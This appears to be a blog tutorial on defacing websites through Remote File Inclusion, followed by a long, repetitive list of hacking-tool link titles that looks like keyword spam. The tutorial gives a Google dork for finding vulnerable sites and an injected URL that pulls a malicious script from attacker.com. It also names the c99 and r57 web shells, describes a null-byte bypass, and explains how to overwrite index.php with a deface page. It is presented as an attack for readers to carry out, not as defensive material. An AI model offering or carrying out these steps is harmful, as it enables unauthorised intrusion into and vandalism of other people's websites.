HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Read more

1. Pentest Tools Linux
2. Hacking Tools Windows 10
3. Pentest Tools Android
4. How To Make Hacking Tools
5. Hacking Tools 2020
6. Pentest Tools Tcp Port Scanner
7. Hacking Tools Mac
8. Pentest Tools Kali Linux
9. Hacks And Tools
10. Pentest Reporting Tools
11. Pentest Tools Windows
12. Hacking Tools For Mac
13. Hacker Tools
14. Hacking Tools Kit
15. Tools Used For Hacking
16. Pentest Tools For Ubuntu
17. Hacking Tools For Pc
18. Pentest Tools Android
19. Hackrf Tools
20. Hacking Tools Software
21. Pentest Tools Subdomain
22. Install Pentest Tools Ubuntu
23. Hacking Tools Download
24. Hacker Tools 2019
25. Pentest Tools For Android
26. Hack Tools For Ubuntu
27. Hack And Tools
28. Hackers Toolbox
29. Hacking Tools Name
30. Hacking Tools For Kali Linux
31. Pentest Tools Github
32. Hacking Tools
33. Pentest Tools Tcp Port Scanner
34. Pentest Tools Online
35. Hak5 Tools
36. Hacking Tools Hardware
37. Nsa Hacker Tools
38. Pentest Box Tools Download
39. Pentest Reporting Tools
40. Termux Hacking Tools 2019
41. Pentest Tools Framework
42. Ethical Hacker Tools
43. Pentest Tools Apk
44. Hack Tools Online
45. Hacking Tools Free Download
46. Best Pentesting Tools 2018
47. Hacker Tools Software
48. Pentest Tools Url Fuzzer
49. Pentest Tools Github
50. Hack Tools
51. Pentest Tools Online
52. Hack Apps
53. Hack Website Online Tool
54. Pentest Tools
55. Pentest Tools Bluekeep
56. Black Hat Hacker Tools
57. Hacking Tools Pc
58. Pentest Tools Bluekeep
59. Growth Hacker Tools
60. Hacking Tools
61. Hacking Tools Windows 10
62. Hacking Tools 2019
63. How To Hack
64. Pentest Tools Windows
65. Hack Website Online Tool
66. Hacker Search Tools
67. Hacker Tools For Pc
68. Hacking Tools Windows 10
69. Pentest Tools Website
70. Pentest Tools Review
71. Hacking Tools For Games
72. Hack Tools For Games
73. Hacker Tools For Pc
74. Hacking Tools For Windows Free Download
75. Easy Hack Tools
76. Hacker Tools Online
77. Pentest Tools
78. Pentest Tools List
79. Hack Tool Apk No Root
80. Best Hacking Tools 2019
81. Pentest Tools Kali Linux
82. Hacking Apps
83. Free Pentest Tools For Windows
84. Hack Tools
85. Hacking Tools Hardware
86. Free Pentest Tools For Windows
87. Hack Website Online Tool
88. What Are Hacking Tools
89. Hack Website Online Tool
90. Top Pentest Tools
91. Hacker Tools Free
92. Pentest Automation Tools
93. Hacking Tools 2019
94. Tools For Hacker
95. Install Pentest Tools Ubuntu
96. Bluetooth Hacking Tools Kali
97. Hacker Tools Windows
98. Pentest Tools Alternative
99. Hack Tools For Windows
100. Best Hacking Tools 2019
101. Hacker Tools Github
102. Hacker Tools Free
103. What Is Hacking Tools
104. Hacks And Tools
105. Hacking Tools Name
106. Kik Hack Tools
107. Hacking Tools For Pc
108. Game Hacking
109. Hacker Tools List
110. Pentest Tools For Android